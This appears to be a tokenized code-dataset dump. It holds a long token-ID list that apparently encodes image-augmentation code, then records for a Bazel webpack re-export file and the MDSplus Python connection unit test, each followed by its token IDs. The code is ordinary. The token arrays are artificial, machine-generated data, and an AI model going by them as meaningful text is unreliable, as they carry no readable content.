29896,
29892,
29871,
29896,
29892,
29871,
29896,
1402,
29871,
13,
1678,
396,
268,
518,
29896,
29892,
29871,
29945,
29892,
29871,
29896,
1402,
29871,
13,
1678,
396,
268,
518,
29896,
29892,
29871,
29896,
29892,
29871,
29896,
20526,
26688,
29922,
13264,
29889,
7411,
29941,
29906,
29892,
13,
1678,
396,
268,
8267,
11759,
29941,
29892,
29871,
29941,
29892,
29871,
29896,
29892,
29871,
29896,
2314,
847,
29871,
29896,
29941,
29889,
13,
1678,
396,
268,
13850,
29906,
29889,
13,
13,
1678,
822,
5700,
449,
29898,
2492,
29892,
5563,
29892,
1068,
19290,
1125,
29871,
13,
4706,
10153,
353,
10153,
29889,
8552,
580,
13,
4706,
3171,
29892,
2103,
1919,
29918,
353,
10153,
29889,
12181,
29871,
13,
4706,
7164,
29918,
2311,
353,
938,
29898,
3545,
29930,
5563,
511,
524,
29898,
2103,
29930,
5563,
29897,
13,
4706,
995,
353,
9049,
5085,
29889,
657,
877,
1767,
1495,
29871,
13,
4706,
274,
16065,
29918,
29882,
353,
7442,
29889,
8172,
29889,
9502,
524,
29898,
29900,
29892,
3545,
29899,
12791,
29918,
2311,
29961,
29900,
2314,
13,
4706,
274,
16065,
29918,
29893,
353,
7442,
29889,
8172,
29889,
9502,
524,
29898,
29900,
29892,
2103,
29899,
12791,
29918,
2311,
29961,
29896,
2314,
13,
4706,
10153,
29961,
29883,
16065,
29918,
29882,
29901,
29883,
16065,
29918,
29882,
29974,
12791,
29918,
2311,
29961,
29900,
1402,
29883,
16065,
29918,
29893,
29901,
29883,
16065,
29918,
29893,
29974,
12791,
29918,
2311,
29961,
29896,
1402,
17531,
353,
29871,
29906,
29945,
29945,
13,
4706,
736,
10153,
29871,
13,
13,
1678,
822,
16734,
29898,
3027,
29892,
3233,
29922,
29946,
29945,
29892,
4818,
353,
6213,
29892,
6287,
353,
29871,
29896,
29889,
29900,
1125,
13,
4706,
10696,
29922,
5563,
13,
4706,
313,
29882,
29892,
281,
29897,
353,
1967,
29889,
12181,
7503,
29906,
29962,
13,
13,
4706,
565,
4818,
338,
6213,
29901,
13,
9651,
4818,
353,
313,
29893,
847,
29871,
29906,
29892,
298,
847,
29871,
29906,
29897,
13,
13,
4706,
396,
27313,
278,
13733,
13,
4706,
341,
353,
13850,
29906,
29889,
657,
21281,
362,
14609,
29906,
29928,
29898,
5064,
29892,
10696,
29892,
6287,
29897,
13,
4706,
5731,
630,
353,
13850,
29906,
29889,
4495,
29886,
27867,
457,
29898,
3027,
29892,
341,
29892,
313,
29893,
29892,
298,
511,
11466,
6818,
29922,
11023,
29906,
29889,
29933,
22364,
29918,
1525,
7390,
2965,
3040,
29897,
13,
13,
4706,
736,
5731,
630,
13,
13,
1678,
822,
5700,
29918,
29906,
29945,
29918,
5062,
29898,
2492,
29892,
5563,
29922,
29900,
29889,
29906,
29945,
1125,
13,
4706,
11959,
353,
3233,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
13,
4706,
716,
29918,
3545,
353,
938,
3552,
29896,
29899,
3605,
601,
11877,
3545,
29897,
13,
4706,
10153,
29918,
353,
10153,
7503,
1482,
29918,
3545,
29892,
29901,
29892,
17531,
13,
308,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
5396,
12181,
29871,
13,
4706,
565,
3171,
1405,
2920,
584,
13,
462,
1678,
10153,
29906,
353,
7442,
29889,
8305,
29898,
2492,
3383,
8999,
29900,
29892,
29900,
1402,
15625,
3545,
29899,
2103,
29897,
458,
29906,
22657,
3545,
29899,
2103,
29897,
458,
29906,
16272,
29900,
29892,
29900,
20526,
8513,
2433,
23362,
742,
23362,
29918,
5975,
29922,
29906,
29945,
29945,
29897,
13,
4706,
1683,
29901,
13,
462,
1678,
10153,
29906,
353,
7442,
29889,
8305,
29898,
2492,
3383,
8999,
29898,
2103,
29899,
3545,
29897,
458,
29906,
22657,
2103,
29899,
3545,
29897,
458,
29906,
16272,
29900,
29892,
29900,
16272,
29900,
29892,
29900,
20526,
8513,
2433,
23362,
742,
23362,
29918,
5975,
29922,
29906,
29945,
29945,
29897,
13,
4706,
10153,
29906,
353,
13850,
29906,
29889,
21476,
29898,
2492,
29906,
22657,
29906,
29906,
29946,
29892,
29906,
29906,
29946,
876,
13,
4706,
736,
10153,
29906,
13,
13,
1678,
822,
5700,
29918,
29906,
29945,
29918,
27215,
29898,
2492,
29892,
5563,
29922,
29900,
29889,
29906,
29945,
1125,
13,
4706,
11959,
353,
3233,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
13,
4706,
716,
29918,
3545,
353,
938,
29898,
3605,
601,
29930,
3545,
29897,
13,
4706,
10153,
29918,
353,
10153,
29961,
1482,
29918,
3545,
29901,
29892,
29901,
29892,
17531,
13,
308,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
5396,
12181,
29871,
13,
4706,
565,
3171,
1405,
2920,
584,
13,
462,
1678,
10153,
29906,
353,
7442,
29889,
8305,
29898,
2492,
3383,
8999,
29900,
29892,
29900,
1402,
15625,
3545,
29899,
2103,
29897,
458,
29906,
22657,
3545,
29899,
2103,
29897,
458,
29906,
16272,
29900,
29892,
29900,
20526,
8513,
2433,
23362,
742,
23362,
29918,
5975,
29922,
29906,
29945,
29945,
29897,
13,
4706,
1683,
29901,
13,
462,
1678,
10153,
29906,
353,
7442,
29889,
8305,
29898,
2492,
3383,
8999,
29898,
2103,
29899,
3545,
29897,
458,
29906,
22657,
2103,
29899,
3545,
29897,
458,
29906,
16272,
29900,
29892,
29900,
16272,
29900,
29892,
29900,
20526,
8513,
2433,
23362,
742,
23362,
29918,
5975,
29922,
29906,
29945,
29945,
29897,
13,
4706,
10153,
29906,
353,
13850,
29906,
29889,
21476,
29898,
2492,
29906,
22657,
29906,
29906,
29946,
29892,
29906,
29906,
29946,
876,
13,
4706,
736,
10153,
29906,
13,
13,
1678,
822,
5700,
29918,
29906,
29945,
29918,
1266,
29898,
2492,
29892,
5563,
29922,
29900,
29889,
29906,
29945,
1125,
13,
4706,
11959,
353,
3233,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
13,
4706,
716,
29918,
2103,
353,
938,
3552,
29896,
29899,
3605,
601,
11877,
2103,
29897,
13,
4706,
10153,
29918,
353,
10153,
7503,
29892,
29901,
1482,
29918,
2103,
29892,
17531,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
5396,
12181,
29871,
13,
4706,
565,
3171,
1405,
2920,
584,
13,
462,
1678,
10153,
29906,
353,
7442,
29889,
8305,
29898,
2492,
3383,
8999,
29900,
29892,
29900,
1402,
15625,
3545,
29899,
2103,
29897,
458,
29906,
22657,
3545,
29899,
2103,
29897,
458,
29906,
16272,
29900,
29892,
29900,
20526,
8513,
2433,
23362,
742,
23362,
29918,
5975,
29922,
29906,
29945,
29945,
29897,
13,
4706,
1683,
29901,
13,
462,
1678,
10153,
29906,
353,
7442,
29889,
8305,
29898,
2492,
3383,
8999,
29898,
2103,
29899,
3545,
29897,
458,
29906,
22657,
2103,
29899,
3545,
29897,
458,
29906,
16272,
29900,
29892,
29900,
16272,
29900,
29892,
29900,
20526,
8513,
2433,
23362,
742,
23362,
29918,
5975,
29922,
29906,
29945,
29945,
29897,
268,
13,
4706,
10153,
29906,
353,
13850,
29906,
29889,
21476,
29898,
2492,
29906,
22657,
29906,
29906,
29946,
29892,
29906,
29906,
29946,
876,
13,
4706,
736,
10153,
29906,
13,
13,
1678,
822,
5700,
29918,
29906,
29945,
29918,
1563,
29898,
2492,
29892,
5563,
29922,
29900,
29889,
29906,
29945,
1125,
13,
4706,
11959,
353,
3233,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
29889,
12181,
13,
4706,
716,
29918,
2103,
353,
938,
29898,
3605,
601,
29930,
2103,
29897,
13,
4706,
10153,
29918,
353,
10153,
7503,
29892,
1482,
29918,
2103,
29901,
29892,
17531,
13,
4706,
3171,
29892,
2103,
29892,
29918,
353,
10153,
5396,
12181,
29871,
13,
4706,
565,
3171,
1405,
2920,
584,
13,
462,
1678,
10153,
29906,
353,
7442,
29889,
8305,
29898,
2492,
3383,
8999,
29900,
29892,
29900,
1402,
15625,
3545,
29899,
2103,
29897,
458,
29906,
22657,
3545,
29899,
2103,
29897,
458,
29906,
16272,
29900,
29892,
29900,
20526,
8513,
2433,
23362,
742,
23362,
29918,
5975,
29922,
29906,
29945,
29945,
29897,
13,
4706,
1683,
29901,
13,
462,
1678,
10153,
29906,
353,
7442,
29889,
8305,
29898,
2492,
3383,
8999,
29898,
2103,
29899,
3545,
29897,
458,
29906,
22657,
2103,
29899,
3545,
29897,
458,
29906,
16272,
29900,
29892,
29900,
16272,
29900,
29892,
29900,
20526,
8513,
2433,
23362,
742,
23362,
29918,
5975,
29922,
29906,
29945,
29945,
29897,
268,
13,
4706,
10153,
29906,
353,
13850,
29906,
29889,
21476,
29898,
2492,
29906,
22657,
29906,
29906,
29946,
29892,
29906,
29906,
29946,
876,
13,
4706,
736,
10153,
29906,
268,
13,
1678,
822,
4770,
4804,
12035,
1311,
29892,
2492,
1125,
13,
4706,
18765,
414,
353,
4036,
29889,
1859,
1575,
29898,
1311,
29889,
22197,
29892,
413,
29922,
1311,
29889,
1949,
29918,
29277,
29897,
13,
4706,
363,
18765,
261,
297,
18765,
414,
29901,
13,
9651,
3233,
353,
4036,
29889,
8172,
580,
13,
9651,
396,
1018,
29901,
13,
9651,
1375,
29918,
1191,
29892,
3317,
29918,
1191,
353,
1583,
29889,
1718,
10749,
29918,
5265,
26349,
29961,
2987,
358,
261,
29962,
13,
13,
9651,
3233,
353,
1375,
29918,
1191,
718,
313,
3317,
29918,
1191,
448,
1375,
29918,
1191,
29897,
334,
3233,
13,
9651,
10153,
353,
1583,
29889,
29909,
23338,
13780,
29918,
29943,
28700,
29961,
2987,
358,
261,
850,
2492,
29892,
5563,
29922,
5563,
29897,
13,
9651,
396,
5174,
29901,
13,
18884,
396,
1596,
29898,
2987,
358,
261,
29897,
13,
4706,
736,
10153,
29871,
13,
13,
1753,
18765,
362,
29918,
1688,
7295,
13,
1678,
10153,
29918,
990,
353,
13850,
29906,
29889,
326,
949,
877,
1688,
29889,
6173,
1495,
13,
1678,
1053,
343,
8807,
13,
1678,
18765,
29918,
7529,
353,
343,
8807,
29889,
11177,
29918,
1359,
29898,
3150,
877,
2917,
29914,
4381,
29914,
14968,
29918,
2917,
29889,
25162,
1495,
467,
657,
877,
2987,
358,
29918,
7529,
1495,
13,
1678,
18765,
261,
353,
17468,
29909,
688,
358,
29898,
2987,
358,
29918,
7529,
29922,
2987,
358,
29918,
7529,
29897,
29937,
29898,
1949,
29918,
29277,
29922,
29896,
29897,
13,
1678,
363,
903,
297,
3464,
29898,
29896,
29900,
29900,
29900,
29900,
1125,
13,
4706,
10153,
29918,
2987,
353,
18765,
261,
29898,
2492,
29918,
990,
29897,
13,
4706,
10153,
29918,
8305,
353,
758,
5014,
29898,
2492,
29918,
2987,
29892,
29906,
29906,
29946,
29897,
13,
4706,
396,
13850,
29906,
29889,
326,
4294,
877,
29874,
742,
2492,
29918,
990,
29897,
13,
4706,
396,
13850,
29906,
29889,
326,
4294,
877,
29890,
742,
2492,
29918,
2987,
29897,
13,
4706,
396,
13850,
29906,
29889,
326,
4294,
877,
29883,
742,
2492,
29918,
8305,
29897,
13,
4706,
396,
565,
13850,
29906,
29889,
10685,
2558,
29898,
29900,
29897,
1360,
536,
877,
29939,
29374,
13,
9651,
396,
6876,
580,
13,
13,
361,
4770,
978,
1649,
1275,
29915,
1649,
3396,
1649,
2396,
13,
1678,
18765,
362,
29918,
1688,
580,
2
] |
packages/labs/webpack/index.bzl | benlesh/rules_nodejs | 1 | 1606960 | # Public API surface re-exports
# Users shouldn't import under src/
load("//webpack/src:webpack_bundle.bzl", _webpack_bundle = "webpack_bundle")
webpack_bundle = _webpack_bundle
| [
1,
396,
5236,
3450,
7101,
337,
29899,
26500,
13,
29937,
23861,
9273,
29915,
29873,
1053,
1090,
4765,
29914,
13,
13,
1359,
703,
458,
27327,
29914,
4351,
29901,
27327,
29918,
16718,
29889,
29890,
29920,
29880,
613,
903,
27327,
29918,
16718,
353,
376,
27327,
29918,
16718,
1159,
13,
13,
27327,
29918,
16718,
353,
903,
27327,
29918,
16718,
13,
2
] |
python/MDSplus/tests/connectionUnitTest.py | WhoBrokeTheBuild/mdsplus | 0 | 159677 | <filename>python/MDSplus/tests/connectionUnitTest.py
#!/usr/bin/env python
# Copyright (c) 2017, Massachusetts Institute of Technology All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# Redistributions in binary form must reproduce the above copyright notice, this
# list of conditions and the following disclaimer in the documentation and/or
# other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
import os
import shutil
import subprocess
import tempfile
import time
from MDSplus import Connection, GetMany, Float32, Range, setenv, Tree, TreeNNF, ADD
def _mimport(name, level=1):
try:
return __import__(name, globals(), level=level)
except:
return __import__(name, globals())
_UnitTest = _mimport("_UnitTest")
class Tests(_UnitTest.TreeTests, _UnitTest.MdsIp):
index = 0
trees = ["pysub"]
tree = "pytree"
def thick(self):
def testnci(thick, local, con, nci):
l = local.S.__getattribute__(nci)
t = thick.S.__getattribute__(nci)
if nci.endswith("_nids"):
l, t = str(l), str(t)
try:
c = str(con.get("getnci(getnci(S,$),'nid_number')", nci))
except TreeNNF:
c = '[]'
else:
c = con.get("getnci(S,$)", nci)
try:
self.assertEqual(t, c)
self.assertEqual(t, l)
except:
print(nci, t, l, c)
raise
server, server_port = self._setup_mdsip(
'ACTION_SERVER', 'ACTION_PORT', 7100+self.index, True)
svr = svr_log = None
try:
svr, svr_log = self._start_mdsip(server, server_port, 'thick')
try:
con = Connection(server)
self.assertEqual(con.get("zero([1,1,1,1,1,1,1,1],1)").tolist(), [
[[[[[[[0]]]]]]]])
with Tree(self.tree, -1, "new") as local:
local.addNode("pysub", "SUBTREE")
s = local.addNode("S", "SIGNAL")
s.addTag("tagS")
s.record = ADD(Float32(1), Float32(2))
t = local.addNode("T", "TEXT")
t.addNode("TT", "TEXT").addTag("tagTT")
t.record = t.TT
t.TT = "recTT"
local.write()
with Tree(self.trees[0], -1, "new") as sub:
sub.addNode("OK")
sub.write()
local.normal()
Tree.setCurrent(self.tree, 7)
setenv("pytree_path", "%s::" % server)
print(con.get("getenv($//'_path')", self.tree))
con.get("TreeShr->TreeOpen(ref($),val($),val(1))", self.tree, -1)
thick = Tree(self.tree, -1)
thick.createPulse(1)
thick1 = Tree(self.tree, 1)
self.assertEqual(local.PYSUB.OK.nid, thick1.PYSUB.OK.nid)
self.assertEqual(local.getFileName(),
thick.getFileName().split("::", 2)[1])
""" TreeTurnOff / TreeTurnOn """
thick.S.on = False
self.assertEqual(local.S.on, False)
thick.S.on = True
self.assertEqual(local.S.on, True)
""" TreeSetCurrentShotId / TreeGetCurrentShotId """
Tree.setCurrent(self.tree, 1)
self.assertEqual(Tree.getCurrent(self.tree), 1)
""" TreeGetRecord / TreeSetRecord """
self.assertEqual(str(local.S.record), "1. + 2.")
self.assertEqual(str(thick.S.record), "1. + 2.")
thick.S.record = ADD(Float32(2), Float32(4))
self.assertEqual(str(local.S.record), "2. + 4.")
self.assertEqual(str(thick.S.record), "2. + 4.")
self.assertEqual(str(local.T.record), str(thick.T.record))
""" GetDefaultNid / SetDefaultNid """
self.assertEqual(thick.getDefault(), thick.top)
thick.setDefault(thick.S)
self.assertEqual(thick.getDefault(), thick.top.S)
thick.setDefault(thick.top)
""" FindNodeWildRemote """
self.assertEqual(str(thick.getNodeWild("T*")),
str(local.getNodeWild("T*")))
""" FindTagWildRemote """
self.assertEqual(thick.findTags("*"), local.findTags("*"))
""" nci """
thick.S.write_once = True
self.assertEqual(thick.S.write_once, True)
for nci in ('on', 'depth', 'usage_str', 'dtype', 'length', 'rlength', 'fullpath', 'minpath', 'member_nids', 'children_nids', 'rfa', 'write_once'):
testnci(thick, local, con, nci)
""" new stuff """
self.assertEqual(local.getFileName(), con.get(
"treefilename($,-1)", self.tree))
finally:
self._stop_mdsip((svr, server))
finally:
if svr_log:
svr_log.close()
def threadsTcp(self):
server, server_port = self._setup_mdsip(
'ACTION_SERVER', 'ACTION_PORT', 7100+self.index, True)
svr = svr_log = None
try:
svr, svr_log = self._start_mdsip(server, server_port, 'tcp')
try:
if svr is not None:
time.sleep(1)
def requests(c, idx):
args = [Float32(i/10+idx) for i in range(10)]
for _ in range(10):
self.assertEqual(
c.get("[$,$,$,$,$,$,$,$,$,$]", *args).tolist(), args)
c = Connection(server)
""" mdsconnect """
self.assertEqual(c.get('_a=1').tolist(), 1)
self.assertEqual(c.get('_a').tolist(), 1)
self.assertEqual(c.getObject('1:3:1').__class__, Range)
g = GetMany(c)
g.append('a', '1')
g.append('b', '$', 2)
g.append('c', '$+$', 1, 2)
g.execute()
self.assertEqual(g.get('a'), 1)
self.assertEqual(g.get('b'), 2)
self.assertEqual(g.get('c'), 3)
_UnitTest.TestThread.assertRun(*(
_UnitTest.TestThread("C%d" % i, requests, c, i)
for i in range(10)
))
finally:
if svr and svr.poll() is None:
svr.terminate()
svr.wait()
finally:
if svr_log:
svr_log.close()
def threadsLocal(self):
connection = Connection('local://gub')
def test(s, c):
for i in range(1000):
s.assertEqual(int(c.get('%d' % i)), i)
_UnitTest.TestThread.assertRun(*(
_UnitTest.TestThread("C%d" % i, test, self, connection)
for i in range(10)
))
def fast_remote_write(self):
count = 100
def mdsip(hostfile):
with open(hostfile, "w") as f:
f.write("multi|SELF\n*")
process = subprocess.Popen((
'mdsip', '-m',
'-p', '8000',
'-P', 'TCP',
'-h', hostfile,
))
time.sleep(1)
return process
def thread(test, name, node, count):
start = time.time()
i = -1
for i in range(count):
data = Float32([i*10+1])
now = Float32([time.time()])
node.makeSegment(now[0], now[0], data, now)
end = time.time()
i += 1
test.assertEqual(i, count)
print("%s: rate %f" % (name, i / (end-start)))
tempdir = tempfile.mkdtemp()
try:
server = mdsip(os.path.join(tempdir, "mdsip.hosts"))
try:
con = Connection('127.0.0.1')
def check(line, *args):
sts = con.get(line, *args)
self.assertTrue(sts & 1, "error %d in '%s'" % (sts, line))
check("setenv('test_path='//$)", tempdir)
for line in (
"TreeOpenNew('test', 1)",
"TreeAddNode('EV1', _, 6)",
"TreeAddNode('EV2', _, 6)",
"TreeWrite()",
"TreeClose()",
):
check(line)
setenv("test_path", "127.0.0.1::" + tempdir)
tree = Tree("test", 1)
_UnitTest.TestThread.assertRun(
_UnitTest.TestThread('EV1', thread, self, 'EV1', tree.EV1.copy(), count),
_UnitTest.TestThread('EV2', thread, self, 'EV2', tree.EV2.copy(), count),
)
finally:
if server:
server.kill()
server.wait()
finally:
shutil.rmtree(tempdir, ignore_errors=False, onerror=None)
@staticmethod
def getTests():
return ['threadsTcp', 'threadsLocal', 'thick']
Tests.main(__name__)
| [
1,
529,
9507,
29958,
4691,
29914,
5773,
29903,
11242,
29914,
21150,
29914,
9965,
8325,
3057,
29889,
2272,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29896,
29955,
29892,
16167,
8907,
310,
17968,
2178,
10462,
21676,
29889,
13,
29937,
13,
29937,
4367,
391,
3224,
322,
671,
297,
2752,
322,
7581,
7190,
29892,
411,
470,
1728,
13,
29937,
21733,
29892,
526,
21905,
4944,
393,
278,
1494,
5855,
526,
1539,
29901,
13,
29937,
13,
29937,
4367,
391,
3224,
29879,
310,
2752,
775,
1818,
11551,
278,
2038,
3509,
1266,
8369,
29892,
445,
13,
29937,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
29889,
13,
29937,
13,
29937,
4367,
391,
3224,
29879,
297,
7581,
883,
1818,
18532,
278,
2038,
3509,
1266,
8369,
29892,
445,
13,
29937,
1051,
310,
5855,
322,
278,
1494,
2313,
433,
4193,
297,
278,
5106,
322,
29914,
272,
13,
29937,
916,
17279,
4944,
411,
278,
4978,
29889,
13,
29937,
13,
29937,
3446,
3235,
7791,
7818,
12982,
1525,
8519,
13756,
13044,
3352,
6770,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
29903,
5300,
8707,
29911,
3960,
29933,
2692,
24125,
376,
3289,
8519,
29908,
13,
29937,
5300,
13764,
29979,
8528,
15094,
1799,
6323,
306,
3580,
5265,
3352,
399,
1718,
29934,
13566,
29059,
29892,
2672,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
6093,
13,
29937,
306,
3580,
5265,
3352,
399,
1718,
29934,
13566,
29059,
8079,
341,
1001,
3210,
13566,
2882,
6227,
11937,
5300,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
319,
1525,
13,
29937,
28657,
13875,
8890,
29928,
29889,
2672,
11698,
382,
29963,
3919,
24972,
9818,
6093,
315,
4590,
29979,
22789,
3912,
379,
5607,
8032,
6323,
8707,
29911,
3960,
29933,
2692,
24125,
20700,
17705,
6181,
13,
29937,
15842,
13764,
29979,
22471,
26282,
29892,
2672,
4571,
26282,
29892,
2672,
29907,
1367,
3919,
1964,
29892,
317,
4162,
8426,
1964,
29892,
8528,
29923,
3580,
29931,
19926,
29892,
6323,
8707,
1660,
13356,
3919,
25758,
13,
29937,
21330,
1529,
1692,
29903,
313,
1177,
6154,
15789,
4214,
29892,
350,
2692,
6058,
27848,
3352,
7495,
29892,
13756,
29907,
11499,
13780,
8079,
27092,
1254,
1806,
26027,
21947,
29949,
8452,
6323,
13,
29937,
26996,
29963,
2965,
2890,
29936,
11247,
1799,
8079,
501,
1660,
29892,
360,
8254,
29892,
6323,
13756,
29943,
1806,
29903,
29936,
6323,
350,
3308,
8895,
1799,
2672,
4945,
29934,
4897,
29911,
2725,
29897,
29832,
8851,
5348,
13,
29937,
12766,
17171,
29928,
5300,
6732,
13764,
29979,
6093,
18929,
8079,
17705,
2882,
6227,
11937,
29892,
12317,
2544,
4448,
2672,
8707,
29911,
4717,
1783,
29892,
6850,
3960,
1783,
17705,
2882,
6227,
11937,
29892,
13,
29937,
6323,
323,
8476,
313,
1177,
6154,
15789,
4214,
405,
11787,
5265,
24647,
4741,
6323,
438,
29911,
4448,
22119,
1660,
29897,
9033,
3235,
4214,
2672,
13764,
29979,
399,
29909,
29979,
19474,
8079,
6093,
501,
1660,
13,
29937,
8079,
3446,
3235,
7791,
7818,
12982,
1525,
29892,
382,
29963,
1430,
10762,
11033,
18118,
1660,
29928,
8079,
6093,
21521,
1799,
8979,
6227,
11937,
8079,
20134,
3210,
21330,
1529,
1692,
29889,
13,
29937,
13,
13,
5215,
2897,
13,
5215,
528,
4422,
13,
5215,
1014,
5014,
13,
5215,
5694,
1445,
13,
5215,
931,
13,
3166,
341,
8452,
11242,
1053,
15160,
29892,
3617,
14804,
29892,
27842,
29941,
29906,
29892,
12146,
29892,
731,
6272,
29892,
15472,
29892,
15472,
10262,
29943,
29892,
27827,
13,
13,
13,
1753,
903,
29885,
5215,
29898,
978,
29892,
3233,
29922,
29896,
1125,
13,
1678,
1018,
29901,
13,
4706,
736,
4770,
5215,
12035,
978,
29892,
13149,
1338,
3285,
3233,
29922,
5563,
29897,
13,
1678,
5174,
29901,
13,
4706,
736,
4770,
5215,
12035,
978,
29892,
13149,
1338,
3101,
13,
13,
13,
29918,
8325,
3057,
353,
903,
29885,
5215,
703,
29918,
8325,
3057,
1159,
13,
13,
1990,
4321,
29879,
7373,
8325,
3057,
29889,
9643,
24376,
29892,
903,
8325,
3057,
29889,
29924,
6289,
29902,
29886,
1125,
13,
1678,
2380,
353,
29871,
29900,
13,
1678,
10697,
353,
6796,
29886,
952,
431,
3108,
13,
1678,
5447,
353,
376,
2272,
8336,
29908,
13,
13,
1678,
822,
12003,
29898,
1311,
1125,
13,
4706,
822,
1243,
29876,
455,
29898,
27996,
29892,
1887,
29892,
378,
29892,
302,
455,
1125,
13,
9651,
301,
353,
1887,
29889,
29903,
17255,
657,
12715,
12035,
29876,
455,
29897,
13,
9651,
260,
353,
12003,
29889,
29903,
17255,
657,
12715,
12035,
29876,
455,
29897,
13,
9651,
565,
302,
455,
29889,
1975,
2541,
703,
29918,
29876,
4841,
29908,
1125,
13,
18884,
301,
29892,
260,
353,
851,
29898,
29880,
511,
851,
29898,
29873,
29897,
13,
18884,
1018,
29901,
13,
462,
1678,
274,
353,
851,
29898,
535,
29889,
657,
703,
657,
29876,
455,
29898,
657,
29876,
455,
29898,
29903,
8209,
511,
29915,
29876,
333,
29918,
4537,
1495,
613,
302,
455,
876,
13,
18884,
5174,
15472,
10262,
29943,
29901,
13,
462,
1678,
274,
353,
525,
2636,
29915,
13,
9651,
1683,
29901,
13,
18884,
274,
353,
378,
29889,
657,
703,
657,
29876,
455,
29898,
29903,
8209,
19123,
302,
455,
29897,
13,
9651,
1018,
29901,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29873,
29892,
274,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
29873,
29892,
301,
29897,
13,
9651,
5174,
29901,
13,
18884,
1596,
29898,
29876,
455,
29892,
260,
29892,
301,
29892,
274,
29897,
13,
18884,
12020,
13,
4706,
1923,
29892,
1923,
29918,
637,
353,
1583,
3032,
14669,
29918,
3487,
29879,
666,
29898,
13,
9651,
525,
24705,
29918,
18603,
742,
525,
24705,
29918,
15082,
742,
29871,
29955,
29896,
29900,
29900,
29974,
1311,
29889,
2248,
29892,
5852,
29897,
13,
4706,
3731,
29878,
353,
3731,
29878,
29918,
1188,
353,
6213,
13,
4706,
1018,
29901,
13,
9651,
3731,
29878,
29892,
3731,
29878,
29918,
1188,
353,
1583,
3032,
2962,
29918,
3487,
29879,
666,
29898,
2974,
29892,
1923,
29918,
637,
29892,
525,
27996,
1495,
13,
9651,
1018,
29901,
13,
18884,
378,
353,
15160,
29898,
2974,
29897,
13,
18884,
1583,
29889,
9294,
9843,
29898,
535,
29889,
657,
703,
9171,
4197,
29896,
29892,
29896,
29892,
29896,
29892,
29896,
29892,
29896,
29892,
29896,
29892,
29896,
29892,
29896,
1402,
29896,
29897,
2564,
25027,
391,
3285,
518,
13,
462,
462,
5519,
8999,
8999,
29961,
29900,
5262,
5262,
5262,
24960,
13,
18884,
411,
15472,
29898,
1311,
29889,
8336,
29892,
448,
29896,
29892,
376,
1482,
1159,
408,
1887,
29901,
13,
462,
1678,
1887,
29889,
1202,
4247,
703,
29886,
952,
431,
613,
376,
20633,
29911,
21661,
1159,
13,
462,
1678,
269,
353,
1887,
29889,
1202,
4247,
703,
29903,
613,
376,
5425,
20728,
1964,
1159,
13,
462,
1678,
269,
29889,
1202,
8176,
703,
4039,
29903,
1159,
13,
462,
1678,
269,
29889,
11651,
353,
27827,
29898,
11031,
29941,
29906,
29898,
29896,
511,
27842,
29941,
29906,
29898,
29906,
876,
13,
462,
1678,
260,
353,
1887,
29889,
1202,
4247,
703,
29911,
613,
376,
16975,
1159,
13,
462,
1678,
260,
29889,
1202,
4247,
703,
19988,
613,
376,
16975,
2564,
1202,
8176,
703,
4039,
19988,
1159,
13,
462,
1678,
260,
29889,
11651,
353,
260,
29889,
19988,
13,
462,
1678,
260,
29889,
19988,
353,
376,
3757,
19988,
29908,
13,
462,
1678,
1887,
29889,
3539,
580,
13,
18884,
411,
15472,
29898,
1311,
29889,
28737,
29961,
29900,
1402,
448,
29896,
29892,
376,
1482,
1159,
408,
1014,
29901,
13,
462,
1678,
1014,
29889,
1202,
4247,
703,
8949,
1159,
13,
462,
1678,
1014,
29889,
3539,
580,
13,
18884,
1887,
29889,
8945,
580,
13,
18884,
15472,
29889,
842,
7583,
29898,
1311,
29889,
8336,
29892,
29871,
29955,
29897,
13,
18884,
731,
6272,
703,
2272,
8336,
29918,
2084,
613,
11860,
29879,
1057,
29908,
1273,
1923,
29897,
13,
18884,
1596,
29898,
535,
29889,
657,
703,
657,
6272,
1566,
458,
15972,
2084,
1495,
613,
1583,
29889,
8336,
876,
13,
18884,
378,
29889,
657,
703,
9643,
29903,
1092,
976,
9643,
6585,
29898,
999,
1566,
511,
791,
1566,
511,
791,
29898,
29896,
876,
613,
1583,
29889,
8336,
29892,
448,
29896,
29897,
13,
18884,
12003,
353,
15472,
29898,
1311,
29889,
8336,
29892,
448,
29896,
29897,
13,
18884,
12003,
29889,
3258,
29925,
19994,
29898,
29896,
29897,
13,
18884,
12003,
29896,
